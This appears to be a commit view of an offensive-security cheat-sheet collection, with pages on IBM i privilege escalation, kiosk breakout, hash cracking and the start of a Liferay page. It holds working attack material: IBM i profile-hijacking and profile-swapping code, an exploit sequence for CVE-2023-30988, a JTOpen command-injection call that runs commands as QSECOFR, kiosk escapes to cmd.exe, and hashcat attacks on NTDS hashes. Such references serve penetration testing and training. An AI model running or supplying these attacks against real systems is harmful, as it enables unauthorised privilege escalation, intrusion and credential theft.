| 68 | 40 | HMAC-SHA1 encrypted password token (RFC4777)? | 0**, 1**, 2, 3 |
| 108 | 40 | HMAC-SHA1 encrypted password token (RFC4777)? | 0**, 1**, 2, 3 |
| 148 | 6 | No data | |
| 154 | 384 | Unknown (hash?) data | 0, 1, 2, 3 |
If the machine is still using the `QPWDLVL < 3`, then an attacker can still recover DES and LM hashes.
| Hash | John |
| -------------- | -------------------------------------- |
| LM | `john --format=LM {filename}` |
| IBM DES | `john --format=as400-des {filename}` |
| SHA1 Uppercase | `john --format=as400-ssha1 {filename}` |
```ps1
# Hashcat command for LM hashes
.\hashcat.exe -m 3000 -a 3 --increment --username -1 ?u?d?s .\hashes.txt ?1?1?1?1?1?1?1
```
* [willstruggle/ibmiscanner2john.py](https://github.com/willstruggle/john/blob/master/ibmiscanner2john.py) - Convert files in format userid:hash (e.g files produced by older versions of the ibmiscanner tool) to the as400-sha format that can be processed by JtR
* [hackthelegacy/pwd400gen.py](https://web.archive.org/web/20170224172524/http://www.hackthelegacy.org/attachments/pwd400gen.py) - Password hash generator for IBM Power Systems
## Privilege Escalation
### Initial Program Breakout
* Click "`Attn`" button. The attention interrupt key (ATTN) allows the authenticated user to interrupt/end a process and display a menu with additional functions.
* Press `F9` to run commands
```ps1
# Spawn a PASE shell
CALL QP2TERM
# Execute a script
CALL QP2SHELL PARM('/QOpenSys/usr/bin/sh' + '/tmp/scr')
```
### Hijack Profile - SECOFR Security Class
User profiles assigned with the `*SECOFR` (Security Officer) security class are automatically granted `*ALLOBJ` (All Object) authority, giving them unrestricted access to all system objects. Refer to [User Class](#user-class)
Display a user profile in several different formats with `DSPUSRPRF`.
```ps1
DSPUSRPRF <username>
```
The user submitting this must have `*ALLOBJ` and `*JOBCTL` authority.
* Submitting a Job as `<USERNAME>`
```ps1
SBMJOB CMD(DSPJOB) JOB(TESTJOB) USER(<USERNAME>)
```
* Then check the job log:
```ps1
WRKJOB TESTJOB
```
### Hijack Profile - Authorities
* Print Public Authority: any user profiles have authority that is not set to the default of `*PUBLIC AUT(*EXCLUDE)`
```ps1
PRTPUBAUT OBJTYPE(*USRPRF)
```
* Print Private Authority
```ps1
PRTPVTAUT OBJTYPE(*USRPRF)
```
Look for `*USE` rights or better(e.g. `*CHANGE`, `*ALL`) to someone else's User Profile.
This `SBMJOB` command will submit a batch job to run under the `HIJACKED_USER` user profile, and will print out the records in the `FILE_OF_HIJACKED_USER` file where the `HIJACKED_USER` User Profile have access.
> The Submit Job (SBMJOB) command allows a job that is running to submit another job to a job queue to be run later as a batch job. Only one element of request data can be placed on the new job's message queue. - [IBM/SBMJOB](https://www.ibm.com/docs/en/i/7.4?topic=ssw_ibm_i_74/cl/sbmjob.html)
```ps1
SBMJOB CMD(CPYF FROMFILE(FILE_OF_HIJACKED_USER) TOFILE(*PRINT)) USER(HIJACKED_USER)
```
### Hijack Profile - Profile Swapping
Used to change the thread user profile running the application in order to obtain elevated authority.
* Check the list of profiles
* Grab a profile handle: [`QSYGETPH`](https://www.ibm.com/docs/api/v1/content/ssw_ibm_i_75/apis/QSYGETPH.htm)
* Set profile based on the token generated by QSYGETPH: [`QWTSETP`](https://www.ibm.com/docs/api/v1/content/ssw_ibm_i_75/apis/QWTSETP.htm)
* Repeat until you have obtained the highest access level
* Release profile handle: [`QSYRLSPH`](https://www.ibm.com/docs/api/v1/content/ssw_ibm_i_75/apis/QSYRLSPH.htm)
```c
/* Call QSYGETPH to get a profile handle for a user. */
/* NOTE: Change USERPROFILE to the user who you want to swap to. */
CALL QSYS/QSYGETPH ('USERPROFILE' '*NOPWDCHK' &HNDL)
/* Call QWTSETP to swap to the profile. */
CALL QSYS/QWTSETP &HNDL
```
| Value | Description |
| ------------ | ----------------------- |
| `*NOPWD` | The user requesting the profile handle must have `*USE` authority to the user profile. A profile handle does not get created for a disabled user profile. A profile handle does not get created for a user profile with an expired password. |
| `*NOPWDCHK` | The user requesting the profile handle must have `*USE` authority to the user profile. If the profile is disabled, the user requesting the profile handle must have `*ALLOBJ` and `*SECADM` special authorities to get a handle. If the password is expired, the user requesting the profile handle must have `*ALLOBJ` and `*SECADM` special authorities to get a handle. |
| `*NOPWDSTS` | The user requesting the profile handle must have *USE authority to the user profile. A profile handle does not get created for a disabled user profile. If the password is expired, the user requesting the profile handle must have `*ALLOBJ` and `*SECADM` special authorities to get a handle. |
You cannot obtain a profile handle for the following system-supplied user profiles:
```ps1
QAUTPROF QDLFM QMSF QSNADS QTSTRQS
QCLUMGT QDOC QNETSPLF QSPL
QCOLSRV QDSNX QNFSANON QSPLJOB
QDBSHR QFNC QNTP QSRVAGT
QDBSHRDO QGATE QPEX QSYS
QDFTOWN QLPAUTO QPM400 QTCP
QDIRSRV QLPINSTALL QRJE QTFTP
```
**JDBC**:
```SQL
CREATE OR REPLACE PROCEDURE J_QSYGETPH (IN USERNAME VARBINARY(10), IN PASSWORD VARBINARY(10), OUT HANDLE VARBINARY(12)) EXTERNAL NAME QSYS.QSYGETPH LANGUAGE C++ GENERAL
CALL J_QSYGETPH('USERPROFILE', "*NOPWD", PROFILE_HANDLE)
CREATE OR REPLACE PROCEDURE J_QWTSETP (IN HANDLE VARBINARY(12)) EXTERNAL NAME QSYS.QWTSETP LANGUAGE C++ GENERAL
CALL J_QWTSETP(PROFILE_HANDLE)
```
### Unqualified Library Calls
> "applications that use library lists rather than qualified library names have a potential security exposure. A user who is authorized to the commands to work with library lists can potentially run a dierent version of a program." - [ibm.com/security-library-library-lists](https://www.ibm.com/docs/en/i/7.3?topic=security-library-library-lists)
| Code | Check |
| ------------------ | ---------- |
| CALL LIBFOO/OBJBAR | SECURE |
| CALL OBJBAR | VULNERABLE |
**Example**:
CVE-2023-30988: LIBL abuse, PATH abuse on IBM i - Lirbry List Exploitation
```SQL
DSPUSRPRF <user> -- Display user profile
CRTLIB <user> -- Create library
STRSEU <user>/QCLSRC QFQSES -- Show sources of QFQSES,
-- require to compile it
PGM
CALL QSYS/QCMD
ENDPGM
ADDLIBLE <user> -- Add user to the libraries
DSPAUTUSR -- Display user profile
CALL QFAX/QFFSTRFCPP PARM(1 2) -- Call the vulnerable program
DSPAUTUSR -- Display user profile, QAUTPROF and QFAXMSF should be available
CALL <user>/ESCALATE QFAXMSF -- Profile swapping
-- require to compile the ESCALATE program
PGM PARM(&USER)
DCL VAR(&USER) TYPE(*CHAR) LEN(10)
DCL VAR(&HANDLE) TYPE(*CHAR) LEN(12)
DCL VAR(&ERROR) TYPE(*CHAR) LEN(4)
CHGVAR VAR(%BIN(&ERROR)) VALUE(0)
CALL PGM(QSYGETPH) PARM(&USER *NOPWD &HANDLE &ERROR)
CHGVAR VAR(%BIN(&ERROR)) VALUE(0)
CALL PGM(QWTSETP) PARM(&HANDLE &ERROR)
ENDPGM
DSPAUTUSR -- Should display all profiles
-- QFAXMSF has *ALLOBJ
```
### From ALLOBJ to SECADM
* Query users informations:
```c
DSPUSRPRF USRPRF(*ALL) TYPE(*BASIC) OUTPUT(*OUTFILE) OUTFILE(PENTEST/USERDB)
```
* Create a CL script to escalate privilege and compile it with `STRPDM` (output is `PRIVESC`)
* Call the generated PGM (program object): `CALL PENTEST/PRIVESC USERWITHSECADM`
### Arbitrary Command Execution
* QSECOFR user - Compile as `.jar` file and run inside QSH: `java -jar /home/user/exploit.jar`
```java
// Triggering with JTOpen
sPGMCall.setProgram("/QSYS.LIB/QLWIUTIL4.SRVPGM");
String str = "`id>/tmp/xy.txt`"; // command execution with QSECOFR
ProgramParameter[] programParameterArr = {
new ProgramParameter(2, new AS400Text(str.length() + 1, system).toBytes(str + (char) 0)),
new ProgramParameter(2, new byte[16384], 16384) // hatmanager.jar
};
sPGMCall.setParameterList(programParameterArr);
sPGMCall.setProcedureName("QlwiRelayCall");
```
* QSECOFR user - CVE-2023-40685
* QDIRSRV user - CVE-2023-40378
* QYPSJSVR user - CVE-2023-40686
* QBRMS user - CVE-2023-40377
## References
* [Abusing Adopted Authority on IBM i - Zoltán Pánczél - January 20, 2023](https://blog.silentsignal.eu/2023/01/20/abusing-adopted-authority-on-ibm-i/)
* [Adopted Authority - IBM Support - October 3, 2024](https://www.ibm.com/support/pages/adopted-authority)
* [An IBM i Hacking Tale - Pablo Zurro - April 6, 2023](https://www.fortra.com/blog/ibm-i-hacking-tale)
* [Another Tale of IBM i (AS/400) Hacking - Zoltán Pánczél - September 28, 2022](https://blog.silentsignal.eu/2022/09/28/another-tale-of-ibm-i-as-400-hacking/)
* [AS/400 for pentesters - Black Hat Europe 2006 - Shalom Carmel](https://www.blackhat.com/presentations/bh-europe-06/bh-eu-06-Carmel/bh-eu-06-Carmel.pdf)
* [Awesome-Mainframe-Hacking - samanL33T - July 10, 2019](https://github.com/samanL33T/Awesome-Mainframe-Hacking)
* [Below MI - IBM i for Hackers - Silent Signal - August 22, 2024](https://silentsignal.github.io/BelowMI/)
* [Common Misconcepts on IBM i User Class - *SECOFR - Dan Riehl - September 12, 2013](https://www.securemyi.com/nl/articles/userclass.html)
* [FrenchIBMi - Christian Massé - March 15, 2017](https://github.com/FrenchIBMi/Clubs/)
* [Geeking Out On IBM i - Part 1 - Anonymous - August 31, 2021](https://web.archive.org/web/20210831231128/https://blog.grimm-co.com/2021/07/geeking-out-on-ibm-i-part-1.html)
* [Guru: IBM i *USRPRF Security - Bruce Bading - May 23, 2022](https://www.itjungle.com/2022/05/23/guru-ibm-i-usrprf-security/)
* [Hack the Legacy: IBM I aka AS400 Revealed - Bart Kulach - December 25, 2015](https://youtu.be/JsqUZ3xGdLc)
* [Hack the legacy! IBM i (aka AS/400) revealed - Bart Kulach - May 11, 2021](https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEF%20CON%2023%20-%20Bart-Kulach-Hack-the-Legacy-IBMi-revealed.pdf)
* [Hacking IBM AS/400 in 2024: QShell and Remote Code Execution - Mateusz Lewczak - October 04, 2024](https://www.securitum.com/hacking_ibm_as400_in_2024.html)
* [How to get & crack AS/400 hashes? - Fossies - November 7, 2017](https://fossies.org/linux/john/doc/README.IBM_AS400)
* [IBM AS/400 - Configuration TCP/IP - Podalirius - August 5, 2021](https://podalirius.net/en/mainframe/ibm-as-400-tcp-ip-configuration/)
* [IBM I FOR WINTEL HACKERS - TROOPERS 2024 - ZOLTÁN PÁNCZÉL, BÁLINT VARGA-PERKE - June 26th, 2024](https://silentsignal.hu/docs/S2-TROOPERS24-IBM_i_for_Wintel_Hackers.pdf)
* [IBM i Privileged Users A Unique Security Challenge - Patrick Townsend - June 27, 2017](https://info.townsendsecurity.com/ibm-i-privileged-users-a-unique-security-challenge)
* [IBM i Security Demystified Blog, Episode 1 - Matthew Carpenter - June 23, 2020](https://web.archive.org/web/20200704060220/https://blog.grimm-co.com/2020/06/ibm-i-security-demystified-blog-episode.html)
* [IPL types and modes for IBM AS/400 - Podalirius - June 16, 2021](https://podalirius.net/en/mainframe/ipl-modes-for-ibm-as400/)
* [Is Your IBM i (iSeries/AS400) Security Vulnerable To Privilege Escalation And Lack Of Proper Access Controls? - Bob Losey - June 6, 2022](https://www.linkedin.com/pulse/your-ibm-i-iseriesas400-security-vulnerable-privilege-bob-losey/)
* [Pentest AS/400 - COGICEO](https://www.ossir.org/jssi/jssi2016/Pentest_AS400_COGICEO.pdf)
* [Re: [PEN-TEST] Pen-Testing AS/400 - Al Sparks - December 12, 2000](https://seclists.org/pen-test/2000/Dec/205)
* [Restoring an IBM AS/400 (9401-150) - Podalirius - June 10, 2021](https://podalirius.net/en/mainframe/restoring-an-ibm-as400-9401-150/)
* [Security Assessment of the IBM i (AS 400) System Part 1 - Shashank Gosavi - August 14, 2020](https://web.archive.org/web/20200921183809/https://iisecurity.in/blog/security-assessment-ibm-400-system-part-1/)
* [Security Audit of IBM AS/400 and System i : Part 1 - Yogesh Prasad - August 21, 2018](https://web.archive.org/web/20200927010533/https://blog.securitybrigade.com/security-audit-of-ibm-as-400-system-i-part-1/)
* [Security Audit of IBM AS/400 and System i : Part 2 - Yogesh Prasad - August 22, 2018](https://web.archive.org/web/20200927002911/https://blog.securitybrigade.com/security-audit-ibm-as-400-system-i-2/)
* [Simple IBM i (AS/400) hacking - Zoltán Pánczél - September 5, 2022](https://blog.silentsignal.eu/2022/09/05/simple-ibm-i-as-400-hacking/)
* [Special authority - IBM - April 11, 2023](https://www.ibm.com/docs/en/i/7.4?topic=fields-special-authority)
* [Stealing User Profiles! Exploiting Unsecured User Profiles on IBM i. - Dan Riehl - December 28, 2017](https://www.securemyi.com/nl/articles/hijack.html)
* [TCP/IP Ports Required for IBM i Access and Related Functions - IBM - December 4, 2023](https://www.ibm.com/support/pages/tcpip-ports-required-ibm-i-access-and-related-functions)
* [TROOPERS24: IBM i for Wintel Hackers - Bálint Varga-Perke, Zoltán Pánczél - Septemeber 2, 2024](https://www.youtube.com/watch?v=t4fUvfzgUbY)
* [Vulnerability Archeology: Stealing Passwords with IBM i Access Client Solutions - Silent Signal - January 21, 2025](https://blog.silentsignal.eu/2025/01/21/ibm-acs-password-dump/)
* [Why Building an OS/400 Lab at Home Was Harder Than I Expected - Podalirius - January 24, 2020](https://podalirius.net/en/mainframe/why-building-an-os-400-lab-at-home-was-harder-than-i-expected/)

View File

@@ -0,0 +1,179 @@
# Kiosk Escape and Jail Breakout
## Summary
* [Methodology](#methodology)
* [Gaining a command shell](#gaining-a-command-shell)
* [Sticky Keys](#sticky-keys)
* [Dialog Boxes](#dialog-boxes)
* [Creating new files](#creating-new-files)
* [Open a new Windows Explorer instance](#open-a-new-windows-explorer-instance)
* [Exploring Context Menus](#exploring-context-menus)
* [Save as](#save-as)
* [Input Boxes](#input-boxes)
* [Bypass file restrictions](#bypass-file-restrictions)
* [Internet Explorer](#internet-explorer)
* [Shell URI Handlers](#shell-uri-handlers)
* [References](#references)
## Tools
* [kiosk.vsim.xyz](https://kiosk.vsim.xyz/) - Tooling for browser-based, Kiosk mode testing.
* [break.yxz.red](https://break.yxz.red/) - Breakout Kit for Web Browser / Kiosk breakout Assessments.
## Methodology
* Display global variables and their permissions: `export -p`
* Switch to another user using `sudo`/`su`
* Basic privilege escalations such as CVE, sudo misconfiguration, etc. Comprehensive list at [Linux](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/linux-privilege-escalation/) / [Windows](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/)
* List default commands in the restricted shell: `compgen -c`
* Container escape if it's running inside a `Docker`/`LXC` container
* Pivot onto the network
* Scan other machines on the network or attempt SSRF exploitation
* Metadata for Cloud assets, see `cloud/aws` and `cloud/azure`
* Use globbing capability built inside the shell: `echo *`, `echo .*`, `echo /*`
## Gaining a command shell
* **Shortcut**
* [Window] + [R] -> cmd
* [CTRL] + [SHIFT] + [ESC] -> Task Manager
* [CTRL] + [ALT] + [DELETE] -> Task Manager
* **Access through file browser**: Browsing to the folder containing the binary (i.e. `C:\windows\system32\`), we can simply right click and `open` it
* **Drag-and-drop**: dragging and dropping any file onto the cmd.exe
* **Hyperlink**: `file:///c:/Windows/System32/cmd.exe`
* **Task Manager**: `File` > `New Task (Run...)` > `cmd`
* **MSPAINT.exe**
* Open MSPaint.exe and set the canvas size to: `Width=6` and `Height=1` pixels
* Zoom in to make the following tasks easier
* Using the colour picker, set pixels values to (from left to right):
```ps1
1st: R: 10, G: 0, B: 0
2nd: R: 13, G: 10, B: 13
3rd: R: 100, G: 109, B: 99
4th: R: 120, G: 101, B: 46
5th: R: 0, G: 0, B: 101
6th: R: 0, G: 0, B: 0
```
* Save it as 24-bit Bitmap (*.bmp;*.dib)
* Change its extension from bmp to bat and run
* The generated file is also available for download: [escape-breakout-mspaint.bmp](./files/escape-breakout-mspaint.bmp)
## Sticky Keys
* Spawn the sticky keys dialog
* Via Shell URI : `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}`
* Hit 5 times [SHIFT]
* Visit "Ease of Access Center"
* You land on "Setup Sticky Keys", move up a level on "Ease of Access Center"
* Start the OSK (On-Screen-Keyboard)
* You can now use the keyboard shortcut (CTRL+N)
## Dialog Boxes
### Creating new files
* Batch files Right click > New > Text File > rename to .BAT (or .CMD) > edit > open
* Shortcuts Right click > New > Shortcut > `%WINDIR%\system32`
## Open a new Windows Explorer instance
* Right click any folder > select `Open in new window`
## Exploring Context Menus
* Right click any file/folder and explore context menus
* Clicking `Properties`, especially on shortcuts, can yield further access via `Open File Location`
### Save as
* "Save as" / "Open as" option
* "Print" feature selecting "print to file" option (XPS/PDF/etc)
* `\\127.0.0.1\c$\Windows\System32\` and execute `cmd.exe`
### Input Boxes
Many input boxes accept file paths; try all inputs with UNC paths such as `//attackerpc/` or `//127.0.0.1/c$` or `C:\`
### Bypass file restrictions
Enter *.* or *.exe or similar in `File name` box
## Internet Explorer
### Download and Run/Open
* Text files -> opened by Notepad
### Menus
* The address bar
* Search menus
* Help menus
* Print menus
* All other menus that provide dialog boxes
### Accessing filesystem
Enter these paths in the address bar:
* file://C:/windows
* C:/windows/
* %HOMEDRIVE%
* \\127.0.0.1\c$\Windows\System32
### Unassociated Protocols
It is possible to escape a browser based kiosk with other protocols than usual `http` or `https`.
If you have access to the address bar, you can use any known protocol (`irc`, `ftp`, `telnet`, `mailto`, etc.)
to trigger the *open with* prompt and select a program installed on the host.
The program will than be launched with the uri as a parameter, you need to select a program that will not crash when recieving it.
It is possible to send multiple parameters to the program by adding spaces in your uri.
Note: This technique required that the protocol used is not already associated with a program.
Example - Launching Firefox with a custom profile:
This is a nice trick since Firefox launched with the custom profile may not be as much hardened as the default profile.
0. Firefox need to be installed.
1. Enter the following uri in the address bar: `irc://127.0.0.1 -P "Test"`
2. Press enter to navigate to the uri.
3. Select the firefox program.
4. Firefox will be launched with the profile `Test`.
In this example, it's the equivalent of running the following command:
```ps1
firefox irc://127.0.0.1 -P "Test"
```
## Shell URI Handlers
A URI (Uniform Resource Identifier) handler is a software component that enables a web browser or operating system to pass a URI to an appropriate application for further handling.
For example, when you click on a "mailto:" link in a webpage, your device knows to open your default email application. This is because the "mailto:" URI scheme is registered to be handled by an email application. Similarly, "http:" and "https:" URIs are typically handled by a web browser.
In essence, URI handlers provide a bridge between web content and desktop applications, allowing for a seamless user experience when navigating between different types of resources.
The following URI handlers might trigger application on the machine:
* shell:DocumentsLibrary
* shell:Librariesshell:UserProfiles
* shell:Personal
* shell:SearchHomeFolder
* shell:System shell:NetworkPlacesFolder
* shell:SendTo
* shell:Common Administrative Tools
* shell:MyComputerFolder
* shell:InternetFolder
## References
* [PentestPartners - Breaking out of Citrix and other restricted desktop environments](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
* [Breaking Out! of Applications Deployed via Terminal Services, Citrix, and Kiosks - Scott Sutherland - May 22nd, 2013](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
* [Escaping from KIOSKs - HackTricks](https://book.hacktricks.xyz/physical-attacks/escaping-from-gui-applications)
* [Breaking out of Windows Kiosks using only Microsoft Edge - Firat Acar - May 24, 2022](https://blog.nviso.eu/2022/05/24/breaking-out-of-windows-kiosks-using-only-microsoft-edge/)
* [HOW TO LAUNCH COMMAND PROMPT AND POWERSHELL FROM MS PAINT - 2022-05-14 - Rickard](https://tzusec.com/how-to-launch-command-prompt-and-powershell-from-ms-paint/)

Binary file not shown.

After

Width:  |  Height:  |  Size: 74 B

View File

@@ -0,0 +1,162 @@
# Hash Cracking
## Summary
* [Hashcat](https://hashcat.net/hashcat/)
* [Hashcat Example Hashes](https://hashcat.net/wiki/doku.php?id=example_hashes)
* [Hashcat Install](#hashcat-install)
* [Mask attack](#mask-attack)
* [Dictionary](#dictionary)
* [John](https://github.com/openwall/john)
* [Usage](#john-usage)
* [Rainbow tables](#rainbow-tables)
* [Tips and Tricks](#tips-and-tricks)
* [Online Cracking Resources](#online-cracking-resources)
* [References](#references)
## Hashcat
### Hashcat Install
```powershell
apt install cmake build-essential -y
apt install checkinstall git -y
git clone https://github.com/hashcat/hashcat.git && cd hashcat && make -j 8 && make install
```
1. Extract the hash
2. Get the hash format: [hashcat.net/example_hashes](https://hashcat.net/wiki/doku.php?id=example_hashes)
3. Establish a cracking stratgy based on hash format (ex: wordlist -> wordlist + rules -> mask -> combinator mode -> prince attack -> ...)
4. Enjoy plains
5. Review strategy
6. Start over
### Dictionary
> Every word of a given list (a.k.a. dictionary) is hashed and compared against the target hash.
```powershell
hashcat --attack-mode 0 --hash-type $number $hashes_file $wordlist_file -r $my_rules
```
* Wordlists
* [packetstorm](https://packetstormsecurity.com/Crackers/wordlists/)
* [weakpass_3a](https://download.weakpass.com/wordlists/1948/weakpass_3a.7z)
* [weakpass_3](https://download.weakpass.com/wordlists/1947/weakpass_3.7z)
* [Hashes.org](https://download.weakpass.com/wordlists/1931/Hashes.org.7z)
* [kerberoast_pws](https://gist.github.com/edermi/f8b143b11dc020b854178d3809cf91b5/raw/b7d83af6a8bbb43013e04f78328687d19d0cf9a7/kerberoast_pws.xz)
* [hashmob.net](https://hashmob.net/research/wordlists)
* [clem9669/wordlists](https://github.com/clem9669/wordlists)
* Rules
* [One Rule to Rule Them All](https://notsosecure.com/one-rule-to-rule-them-all/)
* [nsa-rules](https://github.com/NSAKEY/nsa-rules)
* [hob064](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/hob064.rule)
* [d3adhob0](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/d3adhob0.rule)
* [clem9669/hashcat-rule](https://github.com/clem9669/hashcat-rule)
### Mask attack
Mask attack is an attack mode which optimize brute-force.
> Every possibility for a given character set and a given length (i.e. aaa, aab, aac, ...) is hashed and compared against the target hash.
```powershell
# Mask: upper*1+lower*5+digit*2 and upper*1+lower*6+digit*2
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?l?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?l?d?d?1
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?l?l?d?d?1
# Mask: upper*1+lower*3+digit*4 and upper*1+lower*3+digit*4
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?d?d?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?d?d?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?d?d?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?d?d?d?d?1
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?d?d?d?d?1
# Mask: lower*6 + digit*2 + special digit(+!?*)
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?l?l?l?l?l?l?d?d?1
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?l?l?l?l?l?l?d?d?1?1
# Mask: lower*6 + digit*2
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 /content/hashcat/masks/8char-1l-1u-1d-1s-compliant.hcmask
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 ?l?d?u ?1?1?1?1?1?1?1?1
# Other examples
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?a?a?a?a?a?a?a?a?a
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?a?a?a?a?a?a?a?a
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?l?d?d?d?d
hashcat --attack-mode 3 --increment --increment-min 4 --increment-max 8 --hash-type $number $hashes_file "?a?a?a?a?a?a?a?a?a?a?a?a"
hashcat --attack-mode 3 --hash-type $number $hashes_file "?u?l?l?l?d?d?d?d?s"
hashcat --attack-mode 3 --hash-type $number $hashes_file "?a?a?a?a?a?a?a?a"
hashcat --attack-mode 3 --custom-charset1 "?u" --custom-charset2 "?l?u?d" --custom-charset3 "?d" --hash-type $number $hashes_file "?1?2?2?2?3"
```
| Shortcut | Characters |
|----|----------------------------|
| ?l | abcdefghijklmnopqrstuvwxyz |
| ?u | ABCDEFGHIJKLMNOPQRSTUVWXYZ |
| ?d | 0123456789 |
| ?s | !"#$%&'()*+,-./:;<=>?@[\]^_`{}~ |
| ?a | ?l?u?d?s |
| ?b | 0x00 - 0xff |
## John
### John Usage
```bash
# Run on password file containing hashes to be cracked
john passwd
# Use a specific wordlist
john --wordlist=<wordlist> passwd
# Use a specific wordlist with rules
john --wordlist=<wordlist> passwd --rules=Jumbo
# Show cracked passwords
john --show passwd
# Restore interrupted sessions
john --restore
```
## Rainbow tables
> The hash is looked for in a pre-computed table. It is a time-memory trade-off that allows cracking hashes faster, but costing a greater amount of memory than traditional brute-force of dictionary attacks. This attack cannot work if the hashed value is salted (i.e. hashed with an additional random value as prefix/suffix, making the pre-computed table irrelevant)
## Tips and Tricks
* Cloud GPU
* [penglab - Abuse of Google Colab for cracking hashes. 🐧](https://github.com/mxrch/penglab)
* [google-colab-hashcat - Google colab hash cracking](https://github.com/ShutdownRepo/google-colab-hashcat)
* [Cloudtopolis - Zero Infrastructure Password Cracking](https://github.com/JoelGMSec/Cloudtopolis)
* [Nephelees - also a NTDS cracking tool abusing Google Colab](https://github.com/swisskyrepo/Nephelees)
* Build a rig on premise
* [Pentester's Portable Cracking Rig - $1000](https://www.netmux.com/blog/portable-cracking-rig)
* [How To Build A Password Cracking Rig - 5000$](https://www.netmux.com/blog/how-to-build-a-password-cracking-rig)
* Online cracking
* [Hashes.com](https://hashes.com/en/decrypt/hash)
* [hashmob.net](https://hashmob.net/): great community with Discord
* Use the `loopback` in combination with rules and dictionary to keep cracking until you don't find new passsword: `hashcat --loopback --attack-mode 0 --rules-file $rules_file --hash-type $number $hashes_file $wordlist_file`
* PACK (Password Analysis and Cracking Kit)
* [iphelix/pack](https://github.com/iphelix/pack/blob/master/README)
* Can produce custom hcmask files to use with hashcat, based on statistics and rules applied on an input dataset
* Use Deep Learning
* [brannondorsey/PassGAN](https://github.com/brannondorsey/PassGAN)
## Online Cracking Resources
* [hashes.com](https://hashes.com)
* [crackstation.net](https://crackstation.net)
* [hashmob.net](https://hashmob.net/)
## References
* [Cracking - The Hacker Recipes](https://www.thehacker.recipes/ad-ds/movement/credentials/cracking)
* [Using Hashcat to Crack Hashes on Azure](https://durdle.com/2017/04/23/using-hashcat-to-crack-hashes-on-azure/)
* [miloserdov.org hashcat](https://miloserdov.org/?p=5426&PageSpeed=noscript)
* [miloserdov.org john](https://miloserdov.org/?p=4961&PageSpeed=noscript)
* [DeepPass — Finding Passwords With Deep Learning - Will Schroeder - Jun 1](https://posts.specterops.io/deeppass-finding-passwords-with-deep-learning-4d31c534cd00)

View File

@@ -0,0 +1,153 @@
# Liferay
> Liferay Portal is an open-source enterprise portal platform used for building web applications and digital experiences. It provides features like content management, user authentication, collaboration tools, and customizable dashboards. - [liferay/liferay-portal](https://github.com/liferay/liferay-portal)
## Summary
* [Portlets](#portlets)
* [Login Page](#login-page)
* [Register Page](#register-page)
* [User Profile](#user-configuration)
* [User Configuration](#user-configuration)
* [Control Panel](#control-panel)
* [API](#api)
* [Vulnerabilities](#vulnerabilities)
* [Open Redirect](#open-redirect)
* [Code Execution on Administrator Control Panel](#code-execution-on-administrator-control-panel)
* [Resource Leakage Through I18nServlet](#resource-leakage-through-i18nservlet)
* [Remote Code Execution via JSON web services](#remote-code-execution-via-json-web-services)
* [References](#references)
## Portlets
```ps1
/?p_p_id=<portlet_ID>&p_p_lifecycle=0&p_p_state=<window_state>&p_p_mode=<mode>
```
* **portlet_ID**: ID of the portlet to be executed. Can be a numeric ID, which is an incremental number for each portlet, or a [liferay.com/Fully-Qualified-Portlet-IDs](https://help.liferay.com/hc/en-us/articles/360018511712-Fully-Qualified-Portlet-IDs), which is a string.
* **window_state**: Amount of space a portlet takes up on a page. Values are: normal, maximized
minimized
* **mode**: Portlet's current function. Values are: view, edit, help
| Name | Portlet ID |
| ------------------- | ---------- |
| Asset Publisher | com_liferay_asset_publisher_web_portlet_AssetPublisherPortlet |
| Documents and Media | com_liferay_document_library_web_portlet_DLPortlet |
| Navigation Menu | com_liferay_site_navigation_menu_web_portlet_SiteNavigationMenuPortlet |
| Site Map | com_liferay_site_navigation_site_map_web_portlet_SiteNavigationSiteMapPortlet |
| Web Content Display | com_liferay_journal_content_web_portlet_JournalContentPortlet |
| Search Bar | com_liferay_portal_search_web_search_bar_portlet_SearchBarPortlet |
| Search | com_liferay_portal_search_web_portlet_SearchPortlet |
## Login Page
```ps1
/login
/c/portal/login
/?p_p_id=58&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view
/?p_p_id=58&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&saveLastPath=false&_58_struts_action=%2Flogin%2Flogin
/?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view
/?p_p_id=com_liferay_login_web_portlet_LoginPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&saveLastPath=false&_58_struts_action=%2Flogin%2Flogin
```
## Register Page
```ps1
